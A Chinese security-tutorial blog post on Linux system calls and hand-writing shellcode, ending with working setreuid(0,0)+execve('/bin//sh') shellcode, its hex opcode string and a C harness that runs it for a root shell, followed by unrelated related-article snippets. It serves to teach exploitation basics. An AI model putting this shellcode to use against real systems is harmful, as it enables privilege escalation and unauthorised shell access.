【安全健行】(4):揭开shellcode的神秘面纱

2015/5/18 16:20:18

前面我们介绍了shellcode使用的基本策略,包括基本的shellcode、反向连接的shellcode以及查找套接字的shellcode。在宏观上了解了shellcode之后,今天我们来深入一步,看看shellcode到底是什么。也许大家和我一样,从接触安全领域就听说shellcode,也模糊地知道shellcode基本就是那个攻击载荷,但是shellcode到底长什么样,却一直遮遮掩掩,难睹真容。趁今天这个机会,我们一起来揭开shellcode的神秘面纱吧!本节要点如下:

  • Linux系统调用方式
  • shellcode的构造
  • 一个具体的shellcode实例

好了,闲言少叙,接下来我们一起进入正题吧!

一、Linux系统调用方式

我们多少都知道,shellcode在缓冲区攻击的组合三明治中作为关键的攻击载荷存在,漏洞攻击获取了操纵EIP寄存器后执行的最终代码就是我们的shellcode。既然shellcode是攻击功能的主要实现,那么自然少不了各种系统功能,如最初的返回一个交互shell,如自动下载一个文件,如自动安插一个后门,等等。而这些操作无一不需要操作系统的鼎力配合。

操作系统配合的方式是提供了系统调用接口,Windows下称作系统API,也就是我们前一章提到的系统内存分为用户态和内核态,系统调用存在内核态中,而调用接口则提供给用户态的用户进程,当然也包括我们的shellcode。

  1. 关于系统调用

不同的操作系统中系统调用的实现方式会有不同,比如Winodws中就使用的API方式。这里我们的系统是Linux,因此先来介绍Linux中系统调用的基本知识。

一般操作系统提供系统调用有三种方式:

  • 硬件中断:比如来自键盘的异步信号;
  • 硬件陷阱:比如非法的“除以0”错误结果;
  • 软件陷阱:比如进程请求调度执行;

Linux系统采用的是第三种,即软件陷阱的方式,具体方式就是定义了一个系统调用函数表syscalltable,用于按照顺序组织每个系统调用在内核中的位置;同时Linux还定义了系统调用号,对应着syscalltable中的索引号,这样,我们每次需要系统调用的时候,只需要传递给系统调用号,然后系统调用会自动找到相对应的内核位置,运行该函数。

更为详尽的介绍可以参看CU博友的相关文章:http://blog.chinaunix.net/uid-7547035-id-60054.html

二、shellcode的构造

我们直觉上应该能知道shellcode是机器可以识别的二进制机器码,因此自然有三种方式可以构造shellcode:

  • 直接写16进制操作码
  • 采用C语言这样的高级语言编写程序,编译链接后再反汇编获取汇编指令和16进制操作码;
  • 编写汇编程序,汇编后利用objdump从中提取出16进制操作码

大家一般不会选择第一种方式,可能倾向于第二种的朋友比较多,但是实际上,最为实用的是第三种。这里大家要区分汇编语言依旧不是机器码,每个CPU都有自己特定的操作码集合,这些集合都利用32位的机器码来表示,因此我们的最终目标是获得执行功能的机器码,具体到我们今天的例子,就是来获取一个执行系统调用的机器操作码。

在汇编语言层测,主要通过加载特定寄存器值的方式进行系统调用:

  1. eax中加载体统调用使用的16进制值,即系统调用号,syscalltable中的索引;
  2. ebx存放第1个参数,在ecx中存放第2个参数,在edx中存放第3个参数,在esiedi中存放第4、5个参数,Linux系统调用最多支持5个单独参数;
  3. 若实际参数超过5个,那么使用一个参数数组,并且将该数组的地址存放在ebx中;

为了说明为什么直接利用汇编来写shellcode更为实用,我们来引入一个简单的调用系统函数exit()的C程序,如下:

//exit.c#include <stdlib.h> int main(){    exit(0);}

在Linux下记得不要加入"system("pause")"这样的命令,这个只在Windows下才能识别,Linux下会报错。接下来我们利用gcc进行编译,运行后查看反汇编的代码:

这里我们设置了断点,只查看main函数中的代码,忽略了函数开场白和收场白,注意汇编代码<+4>和<+9>的两行代码,它们是系统在调用exitgroup()这个系统调用,该调用时确保进程退出所在的线程组;接下来的<+15>和<+20>则是我们关于exit(0)的调用。这里采用的是gcc的动态编译,因此调用exitgroup时使用的是call的形式,如果采用static形式编译,那么则会和exit一样是0x80的形式,这里用0x80表示一个系统软中断。

细心的朋友一定发现采用C编译的问题,就是引入了编译器优化的其他系统调用,我们必须进行区分筛选构造shellcode,而在汇编代码中找到我们的系统调用码有时并不容易,因此我们推荐更为直接,也是更为实用的第三种方式:直接使用汇编语言编写shellcode

这里我们只需要简单几句汇编语句即可:

;exit.asmsection .text global _start_start:xor eax, eax ; 初始化eax为0xor ebx, ebx ; 初始化ebx为0mov al, 0x01 ; 放入exit的系统调用号“1”int 0x80;

这里需要注意的是mov al, 0x01 没有直接使用eax,而是eax的8位版本al,即最低的8位寄存器,因为Linux下默认是大端存储 ,即高位数据会存放在低位内存上(无论大端还是小端,都是从内存低地址向高地址存放数据,只是先存高位数据还是低位数据的问题,书写上,一般左侧是高位,右侧是低位)。如果是EAX寄存器,那么就会是【(高内存)01 00 00 00(低内存)】,因此我们需要采用al寄存器。

利用nasm和ld对我们的汇编程序进行汇编和链接,然后运行测试,使用strace来查看系统调用:

实验证明我们成功调用了exit()函数。接下来的工作就是从中提取出操作码,然后嵌入到攻击载荷中就可以了,下面我们以一个简单的shellcode来进行说明。

三、一个具体的shellcode实例

1. 明确系统调用

在具体构造一个shellcode之前,我们需要明确shellcode要实现的系统调用。这里我们引入两个系统调用setreuid(0,0)和execve

  • setreuid(0,0)系统调用主要用来交换Linux进程的实际用户ID和有效用户ID。每个Linux进程都有有两个相关的用户ID:实际用户ID(即ruid)和有效用户ID(即euid),其中ruid表示了该进程由谁运行,即当前系统环境用户是谁,主要回答who am I?的问题;而euid则用来规范进程的实际权限控制。比如passwd文件存放了用户名和密码,当一个普通用户运行passwd时,其ruid是自己,而euid则临时变为了文件的所有者root。这主要是设置SUID来实现的,而setreuid的作用在于交换ruid和euid;
  • execve系统调用用于启动一个具体的可执行文件,一般需要三个参数:eax中存放系统调用号0xb;ebx中存放一个字符串的地址;ecx中还是上面的地址;edx中0x0;

关于setreuid的一个参考:http://blog.csdn.net/hittata/article/details/8670208

接下来我们shellcode的思路是:

  1. 创建一个调用shellcode字符串的C程序文件se_r,意思为包含setreuid+execve两个系统调用的测试文件;
  2. 为se_r赋予root所有者,添加SUID位;
  3. 普通用户运行se_r,运行时euid会变为root,而setreuid会交换ruid和euid,因此当程序执行完毕后实际用户成为了root;

我们不再采用C语言来编写shellcode,而是直接采用汇编语言:

section .textglobal _start

_start:;setreuid(0,0)xor eax, eaxmov al, 0x46 ;setreuid的系统调用号xor ebx, ebxxor ecx, ecxint 0x80    ;系统调用

;spawn shellcode with execvexor eax, eaxpush eaxpush 0x68732f2f ;逆序压入“//sh”push 0x6e69622f :逆序压入“/bin”mov ebx, esppush eaxpush ebxmov ecx, espxor edx, edxmov al, 0xbint 0x80

这里逆序压入也是因为是大端输入的问题,采用两个“//”是为了4个字节的对齐。

我们汇编、链接上面的文件,设置所有者为root,添加SUID权限后运行:

可以看到得到了root的shell。

我们的shellcode通过测试之后,接下来要从中提取出我们的操作码,这里主要利用objump命令:

主要检查下操作码中不要有0x0这样的字符,因为系统会意外中止,检查没有后,我们开始写一个C程序加进我们的shellcode,即POC:

char sc[] =    //setreuid(0,0)    "\x31\xc0"    "\xb0\x46"    "\x31\xdb"    "\x31\xc9"    "\xcd\x80"    //spawn shellcode with execve    "\x31\xc0"    "\x50"    "\x68\x2f\x2f\x73\x68"    "\x68\x2f\x62\x69\x6e"    "\x89\xe3"    "\x50"    "\x53"    "\x89\xe1"    "\x31\xd2"    "\xb0\x0b"    "\xcd\x80";

int main(){    void (*fp) (void);    fp = (void *)sc;    fp();}

Refer: Gray Hat Hacking: The Ethical Hacker‘s Handbook, Third Edition

时间: 05-17

【安全健行】(4):揭开shellcode的神秘面纱的相关文章

了解黑客的关键工具---揭开Shellcode的神秘面纱

ref:  http://zhaisj.blog.51cto.com/219066/61428/ 对于初期接触网络安全的人来说,Shellcode是很神秘的东西,对于网络攻击过程中的嗅探信息.漏洞剖析都是可以理解的,但真正利用漏洞入侵时,通过把一段二进制码送入后并执行,就可以获得目标机器的控制权,之后的事情是属于爱好者学习技术,还是黑客的行为,就看攻击者的一念之差了.Shellcode就好象神秘的武器,安全防护变得如此不堪一击.Shellcode究竟是什么样的程序?是什么特殊代码?如何才能学会编

ASP.NET 运行时详解 揭开请求过程神秘面纱

对于ASP.NET开发,排在前五的话题离不开请求生命周期.像什么Cache.身份认证.Role管理.Routing映射,微软到底在请求过程中干了哪些隐秘的事,现在是时候揭晓了.抛开乌云见晴天,接下来就一步步揭开请求管道神秘面纱. 上篇回顾 在介绍本篇内容之前,让我们先回顾下上一篇<ASP.NET运行时详解 集成模式和经典模式>的主要内容.在上一篇随笔中,我们提到ASP.NET运行时通过Application的InitInternal方法初始化运行管道.ASP.NET运行时提供了两种初始化管道模

揭开RecyclerView的神秘面纱(一):RecyclerView的基本使用

前言 在Android开发中,我们经常与ListView.GridView打交道,它们为数据提供了列表和视图的展示方式,方便用户的操作.然而,随着Android的不断发展,单一的listview逐渐满足不了需求多变的项目了,因此,谷歌在support v7中,加入了新的控件--RecyclerView,该控件整合了ListView.GridView的特点,而且最大的优点是可以很方便实现瀑布流效果,因此RecyclerView受到越来越多的开发者重视.所以,学习RecyclerView的使用也是很

SparkSQL大数据实战:揭开Join的神秘面纱

本文来自 网易云社区 . Join操作是数据库和大数据计算中的高级特性,大多数场景都需要进行复杂的Join操作,本文从原理层面介绍了SparkSQL支持的常见Join算法及其适用场景. Join背景介绍 Join是数据库查询永远绕不开的话题,传统查询SQL技术总体可以分为简单操作(过滤操作-where.排序操作-limit等),聚合操作-groupby以及Join操作等.其中Join操作是最复杂.代价最大的操作类型,也是OLAP场景中使用相对较多的操作.因此很有必要对其进行深入研究. 另外,从业

揭开RecyclerView的神秘面纱(二):处理RecyclerView的点击事件

前言 上一篇文章揭开RecyclerView的神秘面纱(一):RecyclerView的基本使用中,主要讲述了RecyclerView的基本使用方法,不同的布局管理器而造成的多样化展示方式,展示了数据之后,一般都会与用户进行交互,因此我们需要处理用户的点击事件.在ListView和GridView提供了onItemClickListener这个监听器,然而我们查找RecyclerView的API却没有类似的监听器,因此我们需要自己手动处理它的点击事件. 以下提供两种方法来实现处理Recycler

Json系列之四 揭开JsonConfig的神秘面纱 java to json

//揭开JsonConfig的神秘面纱,for bean to json JsonConfig jsonConfig = new JsonConfig(); //忽略掉bean中含后某个注解的field,不转换成json,可以多次增加不同注解 //jsonConfig.addIgnoreFieldAnnotation(Person.class);//一定是注解的类,我这里没有例子,大家可以自己做 //同上 //jsonConfig.addIgnoreFieldAnnotation("person

iOS UIView动画实践(一):揭开Animation的神秘面纱

前言 在一个看脸的社会中,不论什么事物,长得好看总是能多吸引一些目光.App同样不例外,一款面相不错的App就算功能已经被轮子千百遍,依然会有人买账,理由就是看得顺眼,于是平面设计人员越来越被重视.白驹过隙,斗转星移,人们已然不满足于静态的美感,于是动态的用户体验应运而生,平面设计人员捉襟见肘,是我们程序员出马的时候了. 这篇文章是UIView Animation的第一篇,从极简的概念开始,为大家揭开Animation的神秘面纱.我们以一个登录界面为例.美丽的太阳,婀娜的云,还有几个小山包,中间

揭开推荐系统的神秘面纱

开篇 先推荐几篇关于推荐的文章,个人感觉对于入门很有实际意义,是IBM的工程师写的,如下: 探索推荐引擎内部的秘密,第 1 部分: 推荐引擎初探 探索推荐引擎内部的秘密,第 2 部分: 深入推荐引擎相关算法 - 协同过滤 探索推荐引擎内部的秘密,第 3 部分: 深入推荐引擎相关算法 - 聚类 推荐系统是什么 推荐,就是把你可能喜欢的商品,推到你的面前.构建一个推荐系统,就是构建如何把商品推到你面前的过程. 经常听到人说,推荐就是算法,在接触推荐系统之前,我也以为推荐就是算法,一说到算法,可能就以

揭开 JSON 的神秘面纱 ------【XML和JSON的异同】

JSON:JavaScript 对象表示法(JavaScript Object Notation). JSON 是存储和交换文本信息的语法.类似 XML, 但它比 XML 更小.更快,更易解析.   XML XML (Extensible Markup Language) 指可扩展标记语言,它被设计用来传输和存储数据. 要表示一个object (指name-value pair的集合),最初可能会使用element作为object,每个key-value pair 用 attribute 表示